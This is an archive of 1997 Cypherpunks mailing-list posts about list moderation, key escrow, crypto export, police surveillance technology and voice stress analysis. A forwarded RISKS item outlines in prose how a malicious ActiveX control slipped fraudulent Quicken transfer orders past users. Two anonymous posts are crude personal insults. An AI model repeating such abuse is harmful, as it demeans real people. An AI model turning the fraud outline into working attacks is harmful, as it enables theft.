From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:24:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Filling Power Vacuums
In-Reply-To: <199702032011.MAA01084@toad.com>
Message-ID: <199702032224.OAA00880@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



timmy writes:

<It's about "power grabs."
<
<You see, in any anarchic situation, where reliance on self-control and
<self-filtering is emphasized, there is always a _temptation_ for some to
<"fill the power vacuum" and grab power.

ah, so what's the solution?

<I learned in my years at Intel how easy it was to start bossing people
<around, and as I hired engineers and scientists, I built up quite a little
<empire. But I didn't like what it was doing to me, as it distanced me from
<the technology and also brought out "control freak" tendencies....I started
<worrying about how my people were using their time ("my" time), and I
<increasingly applied my own notions of what they should talk about and what
<were suitable topics for laboratory chatter. In other words, I became a
<censor. (Not a government censor, but a censor in the broader definition
<I've already cited.)

timmy, I encourage you to understand that leadership is not 
inherently evil. there are enlightened ways to lead people that
leave the group better as a whole. you just fell into the trap
of "negative leadership", the dark side of the force as you write.
imho, however, there is a light side of the force that still involves
leadership.

<(I accept the role hierarchies play in corporations. They can't be built
<with just people like me. They need leaders, controllers, power freaks,
<etc.

oops, a little bit of a glaring logical error there imho. leadership is not
equivalent to a hierarchy imho. admittedly, it often translates that
way. 

 But a virtual community like the Cypherpunks group is not such a
<heirarchical organization, and it needs few rules, leaders, etc. "We don't
<need no steenking leaders.")

yes, if you only want to be an ineffectual debate society with no
significant power whatseover.

<As this relates to Cypherpunks, I have steadfastly refused to consider any
<"management role," so to speak, in how the list is run, the formal
<policies, etc. I'm not saying there has been a call for management (though
<Detweiler used to rail against us for not having a management heirarchy,
<for not having rules and democratic procedures for "making decisions"),
<just that the power vacuum in anarchies such as ours is often an open
<invitation for someone to step in and "provide structure and guidance." I
<resisted any thoughts of doing this, and argued against this sort of thing
<whenever the topic came up in conversation. I chose to lead only by the
<posts I wrote and the ideas I worked on.

heh. perhaps "leadership" involves more than posting. perhaps there
is a way to have "leadership" without hierarchy. perhaps "leadership"
is not equivalent to "management". perhaps sometimes
you win by losing, and lose by winning. perhaps water is so powerful
because it is lower than all that which it flows around.

<Now, of course, the message is being sent that Sandy Sandfort is in some
<sense the de facto leader, being that he determines what traffic goes out
<to the main list and what traffic gets bounced into the flames list. In
<fact, I'll make a prediction: The media will see that he is the chief
<censor and arbiter of worthiness and will increasingly contact him for the
<Official Point of View on various items they are interested in.

timmy, why are you so upset about the media angle? why do you give the
slightest damn what the media thinks? answer: because you want to be
the one they call when they want to know what the cypherpunks think.
you want them to pay attention to the cypherpunks. in short, you would
like to have the glamor of a leader, without any of the responsibility.

<Namely, I realize that I don't want the karmic burdens of power myself,
<preferring to lead only by the example I set and the ideas I generate. This
<is why "market anarchies" (books, music, ideas, all things where "no ruler"
<exists) appeal to me so much.

I think you would be surprise at the realization that "leaders" exist
in those so-called "anarchies"

> And since I don't wish to assume the mantle
<of leadership, 

hmmmmmmmmmmmm, it seems to me that reliquishing that burden might entail
having decisions made that you do not agree with.

<I am resentful and suspicious of people who _do_ step into the
<"power vacuum" to lead and control.
<Now I grant you that Sandy's form of leadership and control is relatively

apparently in your brain, "lead" == "control"

<Yes, I'm seething. Sandy is right about that. I saw a group I helped create
<and spent thousands of hours on, writing articles and developing ideas
<choose--by fiat from the owner of the machine the list was being sent out
<from--to embrace the dark side, the control freak side. In the name of
<"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
<our ideological purity.

hee, hee.

don't worry timmy, you'll feel better later after you've forgotten
that there was some deep lesson in all this.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 14:31:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK/KR spin
Message-ID: <v02140b00af1bc8dfe01e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Several months back there were discussions on the list regarding renaming
the government's key escrow/recovery proposals (KRAP comes to mind).  I
think we need something that's catchy and simple (perhaps already familiar)
to understand for the semi-litterate citizen units.  I propose we encourage
use of the terms "crippleware" or "crypto crippleware" when refering to the
products limited to their weak crypto and/or key escrow/recovery.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 3 Feb 1997 11:55:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702031936.OAA08771@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maytag's father, an idiot, stumbled across Timmy Maytag's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

         \\\
        (0 0)
    _ooO_(_)_Ooo____ Timmy Maytag





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 3 Feb 1997 13:15:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702032118.PAA05476@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain


Peter Hendrickson writes:

> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.

The quality of the Cypherpunks list is determined solely by the
amount of signal.  The amount of noise is irrelevant.  

Barring someone continuously mail-bombing the list 24 hours a day
from a T3, it is easy to pick and choose the posts one wishes
to read, and wipe the rest with a single keystroke afterwards. 

I read the list selectively depending upon the amount of free time
I have.  I always try to read serious crypto articles, and all posts
by Tim, Hal, Eric, Duncan, and a few other notables.  If I have 
additional time, I will read other threads of interest, a little
Vulis, and selected Toto, who happens to be a very funny person at
times.  

Now that we have moderation, I can't do this while subscribed to the
main list, and have to live in eternal fear that I am writing for 
an audience of 20 every time I respond to something on the unedited
list.

Foo on that.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 3 Feb 1997 15:29:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: now we know why it was called altavista!
Message-ID: <199702032328.PAA32415@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain



...

   Cylink (CYLK) announced today that the government has approved export of
   the company's security products containing strong encryption.

   Likewise, Digital Equipment (DEC) has also won approval and plans to
   begin shipments of encryption-enabled networking and system software
   immediately.

   A third company, Trusted Information Systems, effectively had approval
   before January 1 because of its existing key recovery technology.

...

http://www.news.com/News/Item/0,4,7575,00.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 15:31:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: concerning Ben Franklin
Message-ID: <199702032331.PAA05637@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was reading one of the posts in the thread reguarding sone stolen object
in Miami, the one reffering to the locks of the boxes, and it got me thinking.
Ben Franklin was a revolutionary, scientist, inventor, publisher, statesman,
and bookburner (according to F451).  Perhaps he should be considered to be a
cypherpunk, not that he necessarily knew anything about crypto, but because
he was interested in many of the same ideals.  It is my belief that were he
alive today, he would be on this list.  If the work of fiction referred to
above, and in another recent post, is accurate in its reference to Franklin,
then he would seem to have had the same solution to net pollution, burn it.
Rather than considering Ben Franklin the first fireman, I would like to
think of him as an early breed of cypherpunk.  By this I consider cypherpunk
to be interested in the subject, and its outcome, and a cryptographer to be
just one faction of cypherpunk.  Merely my opinion.
Does anyone know whether or not Mr. Franklin may have played with code as
well?  All of my sources were assimilated into my understanding of the man
several years ago, and at the time crypto was less in the public eye than it
is now.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 15:56:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: New X-Ray Imager
Message-ID: <v02140b01af1c2619c726@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


New X-ray gun trades privacy for safety

Reported by Andy C

Seen in The Nando Times on 13 August 1996

----------------------------------------------------------------------------

The Passive Millimeter Wave Imager can X-ray through clothing to "see" a
concealed weapon, plastic explosives or drugs. A police officer can
surreptitiously aim it into a crowd from as far away as 90 feet.

The new X-ray gun is becoming a symbol for an unlikely alliance of civil
libertarians and gun owners who fear the fight against crime and terrorism
may be waged at the expense of personal freedoms.

"I'm incredibly concerned," said John Henry Hingson, a past president of the
National Association of Criminal Defense Lawyers, meeting here this past
week. "The entire nation could become a victim of illegal searches and
seizures and the law is powerless to protect them from these police abuses."

But in these nervous times following the the crash of TWA Fight 800 and
bombings at the Olympics, Oklahoma City and the World Trade Center, many
Americans are now willing to trade some of their privacy and civil liberties
for greater security.

A poll last week by the Los Angeles Times found that a majority of people --
58 percent -- said they would curtail some civil liberties if it would help
thwart terrorism. Thirteen percent said it would depend on what rights were
at stake. The poll didn't ask people to single out any rights.

The Clinton administration has proposed increased wiretapping and other
anti-terrorism steps, and is doling out research grants for cutting edge
anti-crime technology that once may have been intended for only military
use.

Last year, the National Institute of Justice awarded $2.1 million to three
companies to develop weapon detectors for airports, stores and public
buildings.

Two models are being developed of the Passive Millimeter Wave Imager, a
creation of Hadley, Massachusetts-based Millimetrix Corp.

The larger one, about the size of a shoebox, is mounted on a patrol car and
pointed at the unsuspecting person. The gadget doesn't send out X-rays;
instead, it picks up electromagnetic waves emitted by human flesh.

Anything that stands in the way of those waves -- like a gun -- or anything
that emits weaker waves -- like a bag of cocaine or a plastic explosive --
will show up on a little screen in the patrol car.

Clothes emit no waves. Neither do walls, allowing the device to be used from
even outside a room.

A second model is a smaller, battery-operated version that an officer can
operate by hand, like a radar gun.

Millimetrix hopes to field test the larger model soon at a police agency.

Hingson argues the device runs roughshod over bans against illegal searches
and seizures. The law says police can stop and frisk a person only when an
officer has a "reasonable suspicion" the person is armed or involved in a
crime.

Millimetrix points out that while the imager can see through clothing, it
still leaves people some privacy. The device's display screen, the company
says, "does not reveal intimate anatomical details of the person."

Chip Walker, spokesman for the National Rifle Association, noted that
devices like the imager threaten the legal rights of people in 31 states who
are allowed to carry concealed weapons with proper licenses.

"We certainly support efforts to disarm criminals, but we need to be careful
that we're not painting with too broad a brush here," he said.

Walker said that as troubling as terrorism is, people may be playing into
terrorists' hands by giving up their privacy.

"One of the broader issues is that if we start giving up certain civil
liberties, that essentially means that the terrorists are starting to
accomplish one of their goals," he said.

     Contact email address: acobley@mic.dundee.ac.uk

---------------------

(From a TRW development program description)

The Passive Millimeter Wave sensor detects thermal energy, which is
radiated from objects and reflected from other objects such as the sky in
the 94 Giga Hertz frequency band. The advantage of this frequency is that
there is little attenuation of the energy by water particles in the air
(fog).

The camera operates very much like a television camera except that it
operates at mm-wave frequencies (near 90 GHz) instead of in the visible
spectrum. It has components analogous to a television camera: optics to
focus the image, a readout device to convert the electromagnetic energy
into electrical signals, signal processing electronics to prepare the
signals for display, and display unit to view the scene. The optical system
images the blackbody radiation emanating from the scene on the Focal Plane
Array (FPA), which consists of an array of small antennas, each coupled to
a very small MMIC W-band (90 GHz) direct-detection receiver.

----------------

>From a description of the National Law Enforcement & Corrections Technology
Center/Northeast (NLECTC) at Rome Laboratory (more on that later).

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter
obstacle avoidance, battlefield surveillance, fire control, and missile
seekers. Civilian law enforcement agencies would be able to use the
technology in curtailing terrorist acts and juvenile handgun crimes that
frequently involve the use of concealed weapons, bombs and other contraband
that cannot be detected using currently available technology

   see <http://www.nlectc.org/E144T127/june.htm>

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Mon, 3 Feb 1997 15:56:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Your tax dollars at work
Message-ID: <v02140b02af1c2b13f287@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


     NIJ Opens Regional Technology Center in Rome:

 Representatives of the U.S. Department of Justice, state and local elected
officials, and Air Force leaders officially opened the National Law
Enforcement & Corrections Technology Center/Northeast (NLECTC) at Rome
Laboratory. The Center will work with law en forcement and corrections
organizations from 16 states --- stretching from Maine to Minnesota --- to
determine operational requirem ents and identify, evaluate, develop,
demonstrate and assess new or improved technology applications to meet
those needs. The Center will also provide assessment of law enforcement
products information, standards and testing. The Northeast NLECTC is
co-located with Rome Laboratory within the Griffiss Business and Technology
Park. Rome Laboratory is the Air Force's research and development
laboratory responsible for command, control, communications, computer and
intelligence technologies.

The laboratory was selected as a regional technology center for the Justice
Department's National Institute of Justice (NIJ) in December 1994. It joins
four other regional centers across the country that use existing facilities
and resources to support the NI J's Office of Science and Technology and
law enforcement and corrections organizations.

The Northeast NLECTC will support law enforcement and corrections
activities in the following states: Maine, New Hampshire, Verm ont,
Massachusetts, Connecticut, Rhode Island, New York, New Jersey, Delaware,
Maryland, Pennsylvania, Ohio Michigan, Wisconsin, Io wa and Minnesota. It
will facilitate technical interchange between prospective users and
developers or technology through regional symposia, exhibitions and
workshops. Participants range from the law enforcement and corrections
community to the Department of De fense and the commercial sector.

Each of the five regional centers has a specific technological focus, with
the Northeast NLECTC capitalizing on Rome Laboratory' s more than 40 years
of expertise developing technologies that provided the vital eyes, ears and
voices for the nation's military. The Rome Laboratory Law Enforcement Team
will be working with the Northeast NLECTC to convert a variety of defense
technologies to the benefit of law enforcement and corrections. At the
current time, efforts are directed at transferring technologies in the foll
owing areas:

*** Sensors: concealed weapon detection, Over-the-Horizon radar, wall
penetration surveillance, and passive location, tracking and tagging.

*** Information Technology: image processing, natural language processing,
and identification using optical correlation.

*** Intelligence Exploitation: speech processing, timeline analysis,
automated firearm identification, and forensic sciences.

*** Communications: applications of high-speed networks, multiband
multifunction radios, and rapidly deployable communications.

*** Command and Control: collaborative planning, visualization techniques,
and Joint Automated Booking Station. Over the past four decades,
researchers at Rome Laboratory have developed a vast array of technological
tools for the military to e mploy in our national defense. Within the
shared framework of command, control, communications and intelligence, many
of those tech nologies apply to the domestic law enforcement mission as
well. As one of NLECTC's regional law enforcement technology centers, Ro me
Laboratory will continue to make substantial contributions to the war on
crime by developing technologies that meet the increasi ng needs of law
enforcement.



  Rome Laboratory Signs Law Enforcement Technology Agreement with City of Rome



Representatives of Rome Laboratory and the City of Rome signed a
Cooperative Research and Development Agreement (CRDA) to establ ish a
formal working agreement for the purpose of testing and evaluating military
technologies in a law enforcement setting. The C RDA signing was the first
official action following a ribbon-cutting that opened the National
Institute of Justice's Northeast Regi on National Law Enforcement &
Corrections Technology Center at Rome Laboratory. Signing the agreement
were Col. Ted. F. Bowlds, com mander of Rome Laboratory, and Rome Police
Chief Merino J. Ciccone. During the five-year agreement, Rome Laboratory
will supply a variety of technologies to the Rome Police Department. Police
department officers and officials will then test, evaluate and report back
to Rome Laboratory regarding the effectiveness of the test technologies.
Some of the technical tasks to be performed under t he CRDA are enhancing
the computing capability of the Rome Police Department, including improved
access to law enforcement data bas es and access to the World Wide
Web/Internet, as well as synchronization of 911 Emergency System, computer
and alarm time clocks. Rome Police Department personnel will also gain
access to advanced technologies such as the "sniffer alcohol detection
flashlight," night-vision goggles and hand-held digital assistants.


    German Magazine interested in Rome Laboratory's Law Enforcement Efforts

Dr. Frank Ochmann, a science editor for Germany's Stern Magazine, visited
Rome Laboratory to interview engineers and managers involved in law
enforcement technology. The interview was requested in light of the April
issue of the FBI Law Enforcement Bulletin, which carried an eight-page
article covering a wide variety of C3I technologies developed by the
Laboratory.



    Rome Laboratory Awards Funding to Research  Consortia for Dual-Use
Military and Law Enforcement Applications

ROME, N.Y., June 25, 1996 --- Rome Laboratory has awarded funding totaling
more than $5 million to three research consortia. Combined with investment
by the consortia partners, the total amount of research will approach $17
million. Rome Laboratory will serve as the agent for the Defense Advanced
Research Projects Agency (DARPA) in managing the three research programs
that were instituted under DARPA's Technology Reinvestment Project. The
goal of all three programs is to develop new technologies with applications
to both the military and commercial markets.

The Quick Reaction Spoken Language Translator (QRSLT) Consortium seeks to
develop a product prototype of a hand-held or body-mounted QRSLT that would
allow military personnel in a hostile environment or civilian law
enforcement personnel in an emergency situation to communicate with a
non-English speaking individual using an easily portable, automatic
translation device. The government is contributing $2,374,821 to the
program, with consortium members sharing a cost of $3,632,852. Consortium
members include Language Systems Inc., Woodland, Calif.; Entropic Research
Laboratories Inc., Menlo Park, Calif.; and Eloquent Technology Inc. of
Ithaca, N.Y. Language Systems Incorporated, developed the initial spoken
language translation prototype under the direction and funding of Rome
Laboratory, in support of military requirements. The QRSLT will accept
spoken English input from a military or law enforcement user, translate the
input into Spanish or Arabic, and generate the computer-spoken translation.
The translator will also accept spoken Spanish and Arabic inputs and
translate them into spoken English output. This will be an innovative
advance over currently available "speaking translators," which produce
speech based on typed inputs, which cannot accept spoken input, and which
are not customized for military or law enforcement operations.

The Millimeter Wave Imaging Radar Consortium seeks development of a
suitable technology and effective, affordable products for concealed weapon
detection (CWD) and through-the-wall surveillance (TWS) application ---
well-established objectives for both military operations other than war and
civilian law enforcement agencies. Consortium members include Millimetrix
Corp., South Deerfield, Mass.; Technology Service Corp., Trumbull, Conn.;
and Riverside Research Institute of Lexington, Mass. They will contribute
$2,035,087 to the research program, while the government's share will be
$2,018,491. Military applications of the envisioned technology, in addition
to operations other than war, would include use by military police and
special forces personnel, all weather aircraft operation, shipboard and
airborne missile warning, helicopter obstacle avoidance, battlefield
surveillance, fire control, and missile seekers. Civilian law enforcement
agencies would be able to use the technology in curtailing terrorist acts
and juvenile handgun crimes that frequently involve the use of concealed
weapons, bombs and other contraband that cannot be detected using currently
available technology.

The Speaker Identification for Law Enforcement Consortium will be funded
with $3.2 million, evenly divided between the government and consortium
members T-NETIX Inc. of Englewood, Colo., and Dictaphone of Stratford,
Conn. The goal of the consortium is to transfer previously developed
speaker identification technology into commercial and military
applications. With specific emphasis on minimal size, weight, power and
cost, the technology is envisioned to have widespread civilian law
enforcement surveillance applications.

see <http://www.nlectc.org/E144T127/june.htm>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <ray@earthweb.com>
Date: Mon, 3 Feb 1997 13:05:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Another ActiveX hole (fwd)
Message-ID: <Pine.SOL.3.91.970203160517.3944A-100000@fox>
MIME-Version: 1.0
Content-Type: text/plain




-------+..........................................................+-------
 + ^ + :   Ray Arachelian   :    #include <std_disclaimer.h>      :../|\..
  \|/  :  ray@earthweb.com  :.....................................:./\|/\.
<--+-->:  ................  : My oppinions are my own and do not  :.\/|\/.
  /|\  :voice: 212-725-6550 : neccesairly represent those of my   :..\|/..
 + v + :....................: employer.                           :.......
.... http://www.sundernet.com ...personal.email sunder@sundernet.com .....

---------- Forwarded message ----------
Date: Mon, 03 Feb 1997 13:26:44 -0500
From: Andy Breen <abreen@earthweb.com>
To: yak@earthweb.com
Subject: Another ActiveX hole

hmmmmmmmmmmmmm....

------------------
DMK:  An application of covert channels. From RISKS Digest Vol 18, Issue 80.
  
Date: 1 Feb 1997 05:12:02 GMT
From: weberwu@tfh-berlin.de (Debora Weber-Wulff)
Subject: Electronic Funds Transfer without stealing PIN/TAN
  
The Berlin newspaper "Tagespiegel" reports on 29 Jan 97 about a television
show broadcast the previous evening on which hackers from the Chaos 
Computer Club demonstrated how to electronically transfer funds
without needing a PIN (Personal Identification Number) or TAN
(Transaction Number). 
   Apparently it suffices for the victim to visit a site which downloads an
ActiveX application, which automatically starts and checks to see if
Quicken, a popular financial software package that also offers electronic
funds transfer, is on the machine. If so, Quicken is given a transfer 
 order
      which is saved by Quicken in its pile of pending transfer orders. The next
      time the victim sends off the pending transfer orders to the bank (and
      enters in a valid PIN and TAN for that!)  all the orders (= 1 transaction)
      are executed - money is transferred without the victim noticing!
  
      The newspaper quotes various officials at Microsoft et al expressing
      disbelief/outrage/"we're working on it". We discussed this briefly in 
 class
      looking for a way to avoid the problem. Demanding a TAN for each transfer 
 is
      not a solution, for one, the banks only send you 50 at a time, and many
      small companies pay their bills in bunches. Having to enter a TAN for each
      transaction would be quite time-consuming. Our only solution would be to
      forbid browsers from executing any ActiveX component without express
      authorization, but that rather circumvents part of what ActiveX is 
 intended
      for.
  
      A small consolation: the transfer is trackable, that is, it can be
      determined at the bank to which account the money went. Some banks even
      include this information on the statement, but who checks every entry on
      their statements...
  
      Debora Weber-Wulff, Technische Fachhochschule Berlin, Luxemburger Str.
10, 
      13353 Berlin GERMANY weberwu@tfh-berlin.de 
 <http://www.tfh-berlin.de/~weberwu/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 3 Feb 1997 16:15:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: VOICE STRESS ANALYSIS
Message-ID: <199702040015.QAA06962@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:25 PM 2/2/97 -0800, jim bell wrote:
>Awhile back we were discussing voice-stress analysis; just got this item on 
>the subject; he said it's okay to post it.
>
>
>
>>From: Spectre334@aol.com
>>Date: Sun, 2 Feb 1997 09:31:17 -0500 (EST)
>>To: jimbell@pacifier.com
>>cc: BLAMES2778@aol.com, AFSCA@aol.com, JLeek426@aol.com
>>Subject: VOICE STRESS ANALYSIS
>>
>>MR. BELL:
>>
>>I FOUND YOUR QUERY ABOUT VOICE STRESS ANALYSIS ON THE INTERNET, AND I TOO,
>>HAVE FOUND A DEARTH OF INFORMATION THERE - UNTIL NOW.
>>
>>I'M PLEASED TO REPORT THAT VOICE STRESS ANALYSIS (VSA) IS ALIVE AND WELL.  IT
>>HAS BEEN QUIETLY PERFORMING IN THE SHADOW OF THE POLYGRAPH FOR MANY YEARS.
>> NOW, HOWEVER, IT IS COMING INTO ITS AND IS USED IN MANY STATES TO AID IN
>>CRIMINAL INVESTIGATIONS AND OTHER APPLICATIONS.
>>
...
>>THE DIOGENES GROUP, INC., OF WHICH I AM PRESIDENT, HAS DEVELOPED A TOTALLY
>>DIGITAL APPROACH TO VSA, AND BEGAN DELIVERING SYSTEMS TO LAW ENFORCEMENT
>>AGENCIES IN DECEMBER, 1996.  THE PREMIER DIOGENES VSA PRODUCT IS REDUCED TO
>>THE SIZE OF A NOTEBOOK COMPUTER, BUT PRODUCES REALTIME PROCESSING FOR
>>SOFTCOPY DISPLAY, AND HARDCOPY PRINTING WITHIN SECONDS.
>>
>>YOU MAY BE FAMILIAR WITH THE PREVIOUS STATE-OF-THE-ART, WHICH WAS A
>>RELATIVELY LARGE ANALOG MACHINE, USING A SINGLE CHANNEL AND PRINTING OUT THAT
>>DATA ON A ROLL OF THERMAL PAPER.  THOSE DAYS ARE GONE FOREVER.  
>>
>>IF YOU WOULD LIKE MORE INFORMATION ON THE DIOGENES GROUP AND ITS PRODUCTS,
>>PLEASE USE THIS CHANNEL TO SEND ME YOUR MAILING ADDRESS, PHONE NUMBER, AND
>>FAX NUMBER.
>>
>>THANKS FOR YOUR INTEREST IN VOICE STRESS ANALYSIS.
...
Check the Readers Guide for the last couple of years.  I don't have my
Popular Electronics collection handy, but not too long ago they put out the
plans to a smaller unit based around some Cell Phone part.  It operated on a
single frequency as opposed to a varient modulation of the voice.  This
allowed the unit to be much smaller and simpler, sacrificing some of the
accuracy for a reasonable price (PC board, parts and case available for, I
think, less than $100).  The whole unit fit in a case about the size of a
transistor radio and used a couple of bar graph displays (LED) for output.
The whole operating theory is regulary printed with the schematics, and a
parts list and foil diagrams are included for those who want to make the
project from scratch.

While your at it, look up the subliminal mixer from about 1992, I made one
of these and only prevented from using it by the lack of a decent power supply.

The single frequency mentioned above is further explained in the text.

The local library can get a copy of either of these issues, or any others
that catch your interest, for you if you ask really nicely.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 14:46:56 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Filling Power Vacuums
In-Reply-To: <199702032224.OAA00880@netcom9.netcom.com>
Message-ID: <199702032242.QAA01249@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


vovochka wrote:
> timmy writes:
> 
> <It's about "power grabs."
> <
> <You see, in any anarchic situation, where reliance on self-control and
> <self-filtering is emphasized, there is always a _temptation_ for some to
> <"fill the power vacuum" and grab power.
> 
> ah, so what's the solution?

Maybe there is a way to set up a structure that allows for no power 
to appear. In fact, I know one.

> don't worry timmy, you'll feel better later after you've forgotten
> that there was some deep lesson in all this.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Mon, 3 Feb 1997 17:01:39 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: what's in a name?
Message-ID: <Pine.SUN.3.95q.970203165741.10057B-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain


I've stayed out of the debate about list moderation so far, but a recent
post from tmcghan@gill-simpson.com reminds me of something I've been
thinking about.  An interesting way to look at what happened is that John
Gilmore owns the name "cypherpunks@toad.com" and has chosen to exercise
that ownership.  Even though those of us who disagree with the way he has
done so are free to leave and set up our own mailing list, it is costly to
do so, and the problem of central name ownership remains.  List
subscribers have made investments that are specific to the name
"cypherpunks@toad.com", and most of the cost of switching to a new list is
in the new investments they would have to (re)make.  The fact is that a
promise of no censorship is not enough incentive for us to do so. 
 
I suspect that the hierarchical nature of name ownership on the Internet
today will be an important technological barrier for the establishment of
truly anarchic virtual communities.  Unless this problem is solved, the
closest we'll come is pseudo-anarchies that exist with the tolerance of
beneficent dictators.
 
Wei Dai






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Mon, 3 Feb 1997 15:59:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Race and IQ
Message-ID: <199702032359.QAA11023@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Dense Vinegar had his foreskin ripped off last night by a vacuum
cleaner.

 ^-^-^-@@-^-^-^
      (..)     Dense Vinegar






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 3 Feb 1997 17:26:04 -0800 (PST)
To: "Scott V. McGuire" <svmcguir@syr.edu>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <Pine.LNX.3.95L01at.970203173304.618A-100000@homebox>
Message-ID: <Pine.SUN.3.91.970203171820.6173B-100000@crl.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Scott V. McGuire wrote:

> Sandy, you said that you thought the list had improved since you began
> moderating.  How could you think otherwise?  When you send an article to
> the flames list its because you think the list would have been worse
> otherwise. 

If I wasn't clear, I'm sorry.  I think the quality of content
and the degree of civility have improved.  My extreme example was
the increase in polite, on-topic posts from Dimitri, but are 
others.  That's the sort of improvement to which I was referring.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Mon, 3 Feb 1997 14:23:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP 2.1
Message-ID: <9702032223.AA11951@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Mon Feb 03 17:19:14 1997

> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)

I bite my tongue....
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvZkYj5A4+Z4Wnt9AQEtNwP/TXMTZcozL0dNIJjBbdX7mwu0DiEJZV29
nzmIOPZFQyqeVgc1+DrYc0oB6hILAdC5Juf2k7sHr3bzqwNUWERY+PskVRWxRsi6
onN5OqNiAZxVJMcUDZx2r34vZd9Z3TtkGqHDY91xr6Q8UgBYcsmI1SwyjUTwgwST
oraGSR/h8eE=
=YYIb
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
